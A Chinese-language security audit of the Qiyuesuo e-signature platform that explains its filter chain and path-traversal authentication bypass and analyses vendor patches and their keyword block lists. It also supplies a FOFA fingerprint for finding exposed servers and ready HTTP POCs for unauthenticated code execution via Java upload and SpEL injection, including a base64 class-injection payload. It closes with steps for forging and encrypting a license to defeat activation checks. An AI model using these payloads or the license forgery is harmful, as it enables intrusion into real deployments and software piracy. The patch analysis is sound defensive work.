契约锁代码审计分析

fofa指纹

app="契约锁-电子签署平台"

框架分析

PS:漏洞调试时在bin文件夹下的start.bat中分别对不同的模块添加相应的调试端口

这里以契约锁4.2.8版本为例,采用SpingBoot框架,核心代码都在jar包中,通用jar包位于lib中,模块代码名为priv-xx.jar

  1. lib
  2. |-private-api-1.0.0-SNAPSHOT.jar
  3. |-private-base-1.0.0-SNAPSHOT.jar
  4. |-private-core-1.0.0-SNAPSHOT.jar
  5. |-private-domain-1.0.0-SNAPSHOT.jar
  6. |-private-dss-1.0.0-SNAPSHOT.jar
  7. |-private-fee-1.0.0-SNAPSHOT.jar
  8. |-private-sql-1.0.0-SNAPSHOT.jar
  9. |-private-storage-1.0.0-SNAPSHOT.jar
  10. priv-backup.jar
  11. privapp.jar
  12. private-agent.jar
  13. private-sdk.jar
  14. privgateway.jar
  15. privopen.jar
  16. privoss.jar
  17. privupgrade.jar

privapp.jar

这些jar包每一个都是一个SpringBoot项目,以privapp.jar为例,

  1. privapp.jar
  2. |-BOOT-INF
  3.     |- classes
  4.           |- com.quyuesuo
  5.               |- api
  6.               |- config
  7.               |- ...
  8.               |- security
  9.               |- WebApplication
  10.     |- lib      
  11. |-META-INF
  12. |-loader

查看主程序WebApplication,从config/app/application.properties中读取配置server.port=9180并启动服务。

  1. @SpringBootApplication( //组合注解,包含@Configuration、@EnableAutoConfiguration、@ComponentScan
  2.    exclude = {QuartzAutoConfiguration.class}
  3. )
  4. @EnableAsync //启用Spring的异步方法执行能力
  5. @EnableAspectJAutoProxy //启用Spring对AspectJ的支持
  6. @EnableEncryptableProperties // 启用加密属性的支持
  7. @EnableMQ // 启用消息队列(Message Queue,MQ)的支持
  8. public class WebApplication extends SpringBootServletInitializer {
  9.    public static void main(String[] args) throws Exception {
  10.        QiyuesuoProperties.setAdditionalProperties("file:./config/app/");
  11.        SpringApplication.run(WebApplication.class, args).start();
  12.   }
  13. }

@SpringBootApplication注解会将扫描项目中所有包含@Component、@Service、@Repository和@Controller等注解的类,并注册到Spring上下文中。

Spring Security

一般SpringBoot会采用spring-boot-starter-security组件来实现认证和授权管理,类似如下的代码。

  1. public class SecurityConfig extends WebSecurityConfigurerAdapter {
  2.    @Override
  3.    protected void configure(HttpSecurity http) throws Exception {
  4.        http
  5.           .authorizeRequests()
  6.               .antMatchers("/public/**").permitAll() // 允许所有人访问/public/**下的资源
  7.               .anyRequest().authenticated() // 其他所有请求都需要认证
  8.               .and()
  9.           .formLogin()
  10.               .loginPage("/login") // 自定义登录页面
  11.               .permitAll() // 允许所有人访问登录页面
  12.               .and()
  13.           .logout()
  14.               .permitAll(); // 允许所有人注销
  15.   }
  16. }

但是在翻看security文件夹时,并没有发现这样的类。只发现了一些过滤器。其中一个看着和身份认证有关MultiAuthenticationFilter

  1. public class MultiAuthenticationFilter extends AbstractAuthenticationFilter implements Ordered {  
  2.    @Autowired
  3.    protected SecurityProperties properties;
  4.    protected boolean requiresAuthentication(HttpServletRequest request) {
  5.        if (!request.getMethod().equalsIgnoreCase(DEFAULT_LOGIN_METHOD.name())) { // POST
  6.            return false;
  7.       } else {
  8.            String authUrl = this.properties.getMultiAuthUrl(); // multiAuthUrl = "/multiauth";
  9.            String requestURI = request.getRequestURI();
  10.            String username = request.getParameter("username");
  11.            Boolean isFilter = true;
  12.            if (StringUtils.isNotBlank(username)) {
  13.                isFilter = this.accountService.isPwd(username) && this.bindingService.ishasContact(username);
  14.           }
  15.            return this.pathMatcher.matches(request.getContextPath() + authUrl, requestURI) && isFilter;
  16.       }
  17.   }
  18. }

它的父类AbstractAuthenticationFilter位于private-core-1.0.0-SNAPSHOT.jar,即通用jar包中。其核心的doFilterInternal方法实际调用的是子类的requiresAuthentication方法。如果该方法返回false,就不用认证。

MultiAuthenticationFilter值得注意的一点是它用到的SecurityProperties属性是怎么来的?对该字段进行搜索,发现契约锁有很多地方用到了SecurityProperties。同包中的PrivappConfigurer类位于config文件夹下,定义了该属性。其中定义了很多被允许的路由。

  1. @Configuration // 标识该类为Spring的配置类,相当于一个传统的XML配置文件
  2. @EnableWebSecurity  // 位于private-core-1.0.0-SNAPSHOT.jar
  3. @EnableActuator // 位于private-base-1.0.0-SNAPSHOT.jar
  4. @EnableHazelcastClient // 启用Hazelcast客户端功能
  5. public class PrivappConfigurer {
  6.    protected static Logger logger = LoggerFactory.getLogger(PrivappConfigurer.class);
  7.    @Bean
  8.    @ConfigurationProperties(
  9.        prefix = "qiyuesuo.security"
  10.   )
  11.    public SecurityProperties securityProperties() {
  12.        SecurityProperties properties = new SecurityProperties();
  13.        String[] allowed = new String[]{"/qyswebapp/assets/**", "/favicon.ico", "/captcha/**", "/error*", "/login*", "/login/**", "/logout**", "/callback/**", "/company/auth/forwardinfo", "/contract/summary", "/signaturethird", "/app/download", "/lpsealupload", "/contract/print/client/infos", "/document/print/client/download", "/contract/print/client/delete", "/sys/config/activemethod", "/version/info", "/version/check", "/contract/ukeysign/**", "/signature/upload", "/app/url", "/contractqr/**", "/contractqrdetail/**", "/contract-detail-open-qrcode/**", "/sealer/**", "/pdfverifier*", "/pdfverifier/**", "/formSignatory/image", "/formSignatory/get", "/dtlogin", "/wechat/**", "/verifier*", "/session/status", "/user/change/mobile", "/user/mobile/pin", "/user/voice/pin", "/user/get/mobile", "/modifyphone", "/sys/custom/config", "/formSignatory/sign/v2/ukey", "/physicaluploadthird/*", "/ukey/login", "/third/ukey/login", "/sys/config/multipassword", "/multiauth", "/lk/*", "/sys/config/skin", "/contract/sweepcode/detail/*", "/contract/sweepcode/pin", "/company/logo/base64*", "/company/logo/image*", "/scanLogin*", "/css", "/binary/signbyukey", "/sys/config/getbackgroundimage", "/sys/config/getbackgroundconfig", "/user/get/account", "/user/ukey/checkbind", "/responsibility/config", "/privacy-protection", "/sys/config/icp", "/sys/config/oss", "/dingtalk/callback", "/anomalous", "/contract/sweepcode/pin", "/qys/webapp/basePath", "/error/outOfDate", "/welinklogin", "/company/retrieve/company/check", "/retrieve*", "/company/retrieve/user/check", "/sys/config/sign/develop/environment"};
  14.        properties.setAllowedPatterns(allowed);
  15.        String[] noFreshSessionPatterns = new String[]{"/system/message/unreadcount"};
  16.        properties.setNoRefreshSessionPatterns(noFreshSessionPatterns);
  17.        properties.setSessionIdName("QID");
  18.        return properties;
  19.   }
  20. }

另外,在搜索过程中发现,通用jar包private-core-1.0.0-SNAPSHOT.jar中包含SecurityProperties.class

但是从MultiAuthenticationFilter的逻辑中可以看到,只用到了这些路由中的/multiauth。但是正常来讲,定义了这么多的路由,肯定会有一个通用的判断逻辑,来判断请求的url是否和这些路由匹配。那么就需要找到还有那些被应用的Filter。

Filter注册

SpringBoot注册Filter常见的方式如下。或者还可以通过@WebFilter + @ServletComponentScan注解实现

  1. // 1. 实现Filter类,并应用@Component注解
  2. @Component
  3. public class MyFilter implements Filter {
  4.    @Override
  5.    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
  6.            throws IOException, ServletException {
  7.        // Filter logic
  8.        chain.doFilter(request, response);
  9.   }
  10. }
  11. // 2. 使用 @Bean 注解手动注册Filter
  12. @Configuration
  13. public class FilterConfig {
  14.    @Bean
  15.    public FilterRegistrationBean<MyFilter> myFilter() {
  16.        FilterRegistrationBean<MyFilter> registrationBean = new FilterRegistrationBean<>();
  17.        registrationBean.setFilter(new MyFilter());
  18.        registrationBean.addUrlPatterns("/api/*");
  19.        return registrationBean;
  20.   }
  21.    @Bean
  22.    public FilterRegistrationBean<AnotherFilter> anotherFilter() {
  23.        FilterRegistrationBean<AnotherFilter> registrationBean = new FilterRegistrationBean<>();
  24.        registrationBean.setFilter(new AnotherFilter());
  25.        registrationBean.addUrlPatterns("/admin/*");
  26.        return registrationBean;
  27.   }
  28. }

AccessControlFilter

setFilter关键字进行搜索,有三处地方用到了类似的写法。

  1. #1 privupgrade.jar -> DemultiplexingLogHandler.java
  2.   ((Handler)var3).setFilter(this.getFilter());
  3. #2 privopen.jar -> SpringMvcConfigurer.java
  4.   registrationBean.setFilter(this.authenticationFilter());
  5.   registrationBean.setFilter(this.templateGroupFilter());
  6.   registrationBean.setFilter(this.simpleAuthenticationFilter());
  7.   registrationBean.setFilter(this.ipFilter());
  8.   registrationBean.setFilter(this.timestampFilter());
  9.   registrationBean.setFilter(this.integrationFilter());
  10. #3 private-core-1.0.0-SNAPSHOT.jar -> SecurityConfiguration.java
  11.   registration.setFilter(new ParamsFilter(this.objectMapper));

最值得关注的就是最后一个,位于通用jar包中的SecurityConfiguration,该类中包含的Filter如下

  1. public UkeyAuthenticationFilter ukeyAuthenticationFilter() {}
  2. public SecurityContextFilter securityContextFilter() {}
  3. public AccessControlFilter accessControlFilter() {}
  4. public DingTalkAuthenticationFilter dingTalkAuthenticationFilter() {}
  5. public CasAuthenticationFilter casAuthenticationFilter() {}
  6. public SSOAuthenticationFilter ssoAuthenticationFilter() {}
  7. public OaAuthenticationFilter oaAuthenticationFilter() {}
  8. public CloudHubAuthencationFilter cloudHubAuthencationFilter() {}
  9. public DefaultAuthenticationFilter defaultAuthenticationFilter() {}
  10. public SnsAuthenticationFilter snsAuthenticationFilter() {}
  11. public WeChatAuthenticationFilter weChatAuthenticationFilter() {}
  12. public LogoutFilter logoutFilter() {}
  13. public ResponsibilityFilter responsibilityFilter() {}

跟进不同的Filter,会发现AccessControlFilter是对SecurityProperties属性的通用过滤器。只要是allowedPatterns中的路径都无需验证。

匹配路由时用的matchesRequestURI方法最终实际会调用到private-core-1.0.0-SNAPSHOT.jar中的AntPathMatcher类。

根据对代码的对比,这个类和org.springframework.util.AntPathMatcher#doMatch基本一致。也就是Spring之前的绕过问题,这里也存在。例如,/callback/**是无需校验的,/sys需要校验。那么可以通过/callback/../sys/来访问/sys路由。

另外,除了上面privapp.jarPrivappConfigurer类中包含了定义的路径。privoss.jarConsoleConfiguration类中也包含了一些定义的路径。

  1.    @Bean
  2.    @ConfigurationProperties(
  3.        prefix = "qiyuesuo.security"
  4.   )
  5.    public SecurityProperties securityProperties() {
  6.        SecurityProperties properties = new SecurityProperties();
  7.        String[] allowed = new String[]{"/login*", "/setup*", "/setup/**", "/qysoss/assets/**", "/error*", "/favicon.ico", "/logout*", "/nacos/**", "/dubbo/**", "/sys/config/name", "/version/info", "/license/check", "/license/get", "/captcha/**", "/login/**", "/multiauth", "/qys/oss/basePath", "/sys/config/oss", "/sys/config/develop/environment"};
  8.        properties.setAllowedPatterns(allowed);
  9.        properties.setSessionIdName("OSSID");
  10.        properties.setSameSiteSessionIdName("OSSID");
  11.        return properties;
  12.   }

常见的绕过前缀包含

  1. /qyswebapp/assets/**
  2. /captcha/**
  3. /login/**
  4. /logout**
  5. /callback/**
  6. /contract/ukeysign/**
  7. /contractqr/**
  8. /contractqrdetail/**
  9. /contract-detail-open-qrcode/**
  10. /sealer/**
  11. /pdfverifier/**
  12. /wechat/**
  13. /setup/**
  14. /qysoss/assets/**
  15. /nacos/**
  16. /dubbo/**

历史漏洞

/code/upload 文件上传漏洞

/callback/..;/code/upload

先对/code/upload路由进行定位,位于CustomCodeController类中。用于上传代码

跟进create方法。该方法位于通用jar包中,对上传的java代码进行编译,然后用checkType方法检查传入的类是否符合要求。

compileCustomCode()编译过程有一个关键问题,编译后类有没有被加载?加载后有没有初始化?

编译和加载是java代码执行的不同阶段。java代码(即.java文件)首先经历编译阶段,由java编译器(如javac)将.java文件转换成.class字节码。想要运行代码,就需要经历加载阶段—将字节码文件加载到jvm中。

想要直接利用类中的代码,需要将代码放入静态代码块static,让它在类加载后执行。否则源程序是不会调用我们写入的代码的。但是类加载并不意味着静态代码块static会执行。类加载后的初始化阶段static才会执行。

执行static代码块的常见条件如下:

1. Class.forName("MyClass"); 此语句默认第二个参数为true。即进行初始化。但如果写成Class.forName("MyClass",false,this.getClass().getClassLoader())就不会初始化,也就不会执行static块。

2. new对象。例如new A()

3. get/set静态字段。含反射调用

4. 调用类的静态方法。含反射调用

  1. loader.defineClass("MyClass", byteCode, 0, byteCode.length);
  2. Method main = cls.getDeclaredMethod("xx", String[].class);
  3. main.setAccessible(true);
  4. main.invoke(null, (Object) new String[] {});

另外。类加载时常用ClassLoader.loadClass("MyClass")方法,但是该方法并不会直接执行初始化操作。想要执行static,一般需要搭配newInstance,如下。

  1. Class<?> c=loader.loadClass("MyClass");
  2. Constructor<?> constructor = c.getDeclaredConstructor();
  3. constructor.setAccessible(true);
  4. Object instance = constructor.newInstance();

跟进compileCustomCode()方法,实际调用private-core-1.0.0-SNAPSHOT.jar 中的JavaDynamicCompiler.compile(),将上传的代码写入新的文件,并调用同类的compileFile()编译

跟进compileFile(),在编译后执行了loadClass的类加载操作。但是上面提到loadClass时并不会执行static代码块中的内容。

继续看一下checkType的具体限制。到底什么类可以允许上传。根据CodeType的不同,分别要实现不同的接口或类。

POC如下

  1. POST /callback/%2E%2E;/code/upload HTTP/1.1
  2. Host: ip
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  5. Accept-Encoding: gzip, deflate
  6. X-Requested-With: XMLHttpRequest
  7. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryco2lQ5vxCOn9Aq2R
  8. Connection: close
  9. ------WebKitFormBoundaryco2lQ5vxCOn9Aq2R
  10. Content-Disposition: form-data; name="type";
  11. TIMETASK
  12. ------WebKitFormBoundaryco2lQ5vxCOn9Aq2R
  13. Content-Disposition: form-data; name="file";filename="qys.java"
  14. package qiyuesuo;
  15. import com.qiyuesuo.utask.java.BaseTimerTask;
  16. public class qiyuesuo004 extends BaseTimerTask {
  17.     static {try{Runtime.getRuntime().exec("whoami");}catch (Exception e){}}
  18. }
  19. ------WebKitFormBoundaryco2lQ5vxCOn9Aq2R--

POC中有一点值得注意,Spring新一些的版本中支持以表单的形式来为参数赋值,且无需用注解。例如POC中的type赋值的就是CodeType type

但是这个POC就像上面提到的问题,只执行了loadClass,并没有初始化。所以无法用这个包完成攻击,还需要根据这个上传的java文件的id,去执行定时计划。

/utask/upload 远程代码执行

这个漏洞和/code/upload很类似,漏洞位于privoss.jar中的UserTaskController

uploadFile方法实际调用的就是上面的create方法。

和上面那个漏洞相比,上面那个代码只是上传漏洞,并loadClass。但是这个utask的漏洞,在代码编译后执行了startUsing

跟进startUsing方法,在编译后执行了一次newInstance,static代码块可以执行。用上面的POC可以成功攻击。

/template/html/add 远程代码执行

需要注意4.2.8的代码逻辑和新版本中的不同,此漏洞可能存在于版本大于4.2.8的版本中。

漏洞定位TemplateHtmlControlleraddHtmlTemplate()方法,用于添加模板。模板内容通过TemplateBean传入。filetitle参数不能为空,否则会抛出异常,用Jackson读取传入的param中的extensionParam参数值,如果该值中包含expression,就通过正则解析和处理包含数学表达式或公式的字符串,如{}、(),如果不存在这些符号,就会抛出异常公式存在格式错误

然后取出expression的值,判断是否其中还包含{},如果包含则将{xx}替换为1。然后执行checkExpression,典型的表达式执行漏洞。

POC如下

  1. POST /captcha/%2e%2e/template/html/add HTTP/1.1
  2. Host: your-ip
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/98.0.155.44 Safari/537.36
  4. Content-Type: application/json
  5. X-State: whoami
  6. {"file":"1","title":"2","params":[{"extensionParam":"{\"expression\":\"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='base64字符串';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a['parseExpression'](deStr);c.getValue();\"}","name":"test"}]}

解码内容

T (org.springframework.cglib.core.ReflectUtils).defineClass("QysTest",T (org.springframework.util.Base64Utils). decodeFromString("yv66vgAAADIBK..."),new javax.management.loading.MLet(new java.net.URL[0],T (java.lang.Thread).currentThread().getContextClassLoader())).doInject()

/template/param/edits 远程代码执行

此漏洞与上面的/template/html/add漏洞原理相同,位于TemplateController

POC如下

  1. POST /contract/ukeysign/.%2e/.%2e/template/param/edits HTTP/1.1
  2. Host: xxxxx
  3. Cookie: SID=3c5dff0a-40d3-4235-b3dc-80a0ede12570
  4. Pragma: no-cache
  5. Cache-Control: no-cache
  6. Sec-Ch-Ua: "Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"
  7. Sec-Ch-Ua-Mobile: ?0
  8. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
  9. Sec-Ch-Ua-Platform: "macOS"
  10. Accept: */*
  11. Sec-Fetch-Site: same-origin
  12. Sec-Fetch-Mode: no-cors
  13. Sec-Fetch-Dest: script
  14. Accept-Encoding: gzip, deflate
  15. Accept-Language: zh-CN,zh;q=0.9
  16. Content-Type: application/json
  17. Content-Length: 32990
  18. Connection: close
  19. {"id":"2","params":[{"expression":"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='classBase64编码';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a.parseExpression(deStr);c.getValue();"}]}

补丁分析

补丁地址:契约锁·数字身份|电子签章|印章管控|电子档案

下载下来的压缩包中包含一个补丁jar、补丁安装说明和补丁版本说明。补丁版本说明如下。

Jar包含了一些Filter和一个security.rsc文件。找到处理/security.rsc的地方,位于private-security-patch.jar补丁包中的SecurityResourceOperator

提取这段代码对security.rsc进行解密,得到如下的url列表

补丁包中的filter包含:CustomCodePreventFilter、DangerUrlPreventFilter、TemplateParamPreventFilter、UpgradeInterceptorsFilter

CustomCodePreventFilter

针对上面上传java代码的漏洞,一旦Filter检测到相关的路由,会增加CustomCodeRequestWrapper,对敏感关键字进行检测,判断上传的java代码中是否用到了如下的关键字。

CustomCodePreventFilter: 
  Value: [/utask/upload, /code/upload, /api/code/upload, /api/sys/config/storage/custom/upload, /sys/config/storage/custom/upload, /api/sys/config/convert/upload, /sys/config/convert/upload, /api/message/strategy/upload, /message/strategy/upload]
​
Value: [Runtime, Process, ProcessBuilder, SpelExpressionParser, invoke, Class.forName, newInstance, ClassLoader, Constructor, ObjectInputStream, ScriptEngine, parseExpression, getDeclaredField, setAccessible, getMethod, lookup]

TemplateParamPreventFilter

针对上面的template远程代码执行漏洞,一旦检测到相关路由,增加TemplateParamRequestWrapper,用正则匹配a.b(不区分大小写),一旦匹配到则认定包含攻击代码。

Value: [/template/param/edits,/template/html/update,/api/template/param/edits, /api/template/html/update, ] 
Value: [/template/html/add, /api/template/html/add]
​
​
findable = Pattern.compile("[a-zA-Z]\\.[a-zA-Z]").matcher(cell.getExpression()).find();

UpgradeInterceptorsFilter

UpgradeInterceptorsFilter的主要逻辑如下。c 方法判断字符串 str 是否以列表 list 中的任意一个元素开头。b 方法判断字符串 str 是否包含列表 list 中的任意一个元素。

if (QiyuesuoURIStringUtils.c(p, url) && !QiyuesuoURIStringUtils.b(q, url) && !"true".equals(this.r)) {...} // 拦截

p和q具体的列表如下。也就是以p开头,但是又不在q列表中的就会拦截。

p 
Key: UpgradeInterceptorsFilter.RISK_UPGRADE_URI
Value: [/upgrade, /api/upgrade, /update, /api/update]
​
q 
Key: UpgradeInterceptorsFilter.RISK_UPGRADE_EXCLUDE_URI
Value: [/upgrade/status, /upgrade/sqldetail, /api/upgrade/status, /api/upgrade/sqldetail, /update/password/pin, /api/update/password/pin, /update/password, /api/update/password, /upgrade/detail/download, /upgrade/error/servicedetail, /upgrade/error/sqldetail, /upgrade/errordetail]

DangerUrlPreventFilter

Value: [/assets/loadResource, /api/assets/loadResource]

DangerUrlPreventFilter首先用正则匹配不包含以下模式的字符串://(双斜杠)./(点号后紧跟斜杠);(分号),如果包含这三个中的一个就会抛出异常。如果不包含,则进入else,然后判断路由是否为/assets/loadResource/或api/assets/loadResource,如果是的话,获取path参数,再次用正则判断path是否包含//(双斜杠)./(点号后紧跟斜杠);(分号),防止跨目录。

  1.    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
  2.        String url = QiyuesuoURIStringUtils.a(request);
  3.        boolean matches = m.matcher(url).matches(); // Pattern.compile("^(?!.*\\/\\/)(?!.*\\.\\/)(?!.*[;]).*$");
  4.        if (!matches) {
  5.            this.n.a(response, url);
  6.       } else {
  7.            if (QiyuesuoURIStringUtils.c(o, url)) {
  8.                String path = request.getParameter("path");
  9.                if (!StringUtils.isEmpty(path) && !m.matcher(path).matches()) {
  10.                    logger.warn("匹配到攻击:{}", path);
  11.                    this.n.a(response, url);
  12.                    return;
  13.               }
  14.           }
  15.            filterChain.doFilter(request, response);
  16.       }
  17.   }

跟进看一下/assets/loadResource,漏洞定位privapp.jar中的AssetsController

loadPath实际判断传入的path是否和下面的path相等,如果不相等返回null。

那么targetPath的值就是传入的path值,并且直接与./resources拼接进行文件读取。所以可以用../跨目录的方式来进行任意文件读取。不过稍微4.2.8中已经修复了。在获取path时判断了是否包含../

license破解

一般源码中是包含一个LICENSE文件的,在源码中查找读取LICENSE文件的地方。位于private-core-1.0.0-SNAPSHOT.jarLicenseUtil类中。license初始化时会传入一个随机数作为identifier,并设置一个时间作为过期时间。然后用AES加密后写入到LICENSE文件中。

同类中还定义了resolveLicense方法用于解析LICENSE,先进行AES解密,再从字符串转换成json格式的License。

跟进License类看看都有哪些字段

上面这些是LICENSE的生成和解析过程。程序中实际校验LICENSE是契约锁启动后,会有三个步骤。1. 系统激活(LICENSE校验) 2. 数据库配置 3. 系统初始账号设置。都是/setup/开头的路由,定位到privoss.jarSetupController,有个传入license的数据框,填入后会调用setLicesne方法

setLicesne方法主要干了几件事。1. 先读取项目中的LICENSE文件,赋值给fromFile。2. 调用上面的resolveLicense()方法解析传入的license。3. 判断二者的identifier是否相等。4. 判断传入的license是否过期。5. 传入的license,其token和secret值不能为空。

根据上面License类的字段,这里的时间戳expireTime设置的1767110400000,转换过来就是2025年12月31日identifiertokensecret设置不能为空。构造的如下字符串。

{"licenseId":"123456","token":"abcd","secret":"xxx","version":"4.3","identifier":"xxx","companyName":test","expireTime":1767110400000,"expire":true,"config":{"contract":true,"print":false,"seal":false,"hybrid":true,"faceSign":true,"fee":false},"sales":"kk","cmaxMark":false,"icmaxMark":false,"pcmaxMark":false,"ipcmaxMark":false,"operator":"ec审批通过","licenseType":"com"}

aes.encryptAES()加密得到license,覆盖掉原有的LICENSE文件。然后在/setup/页面的输入框中输入得到的加密license即可。


显示推荐内容

隐藏侧栏 举报 返回顶部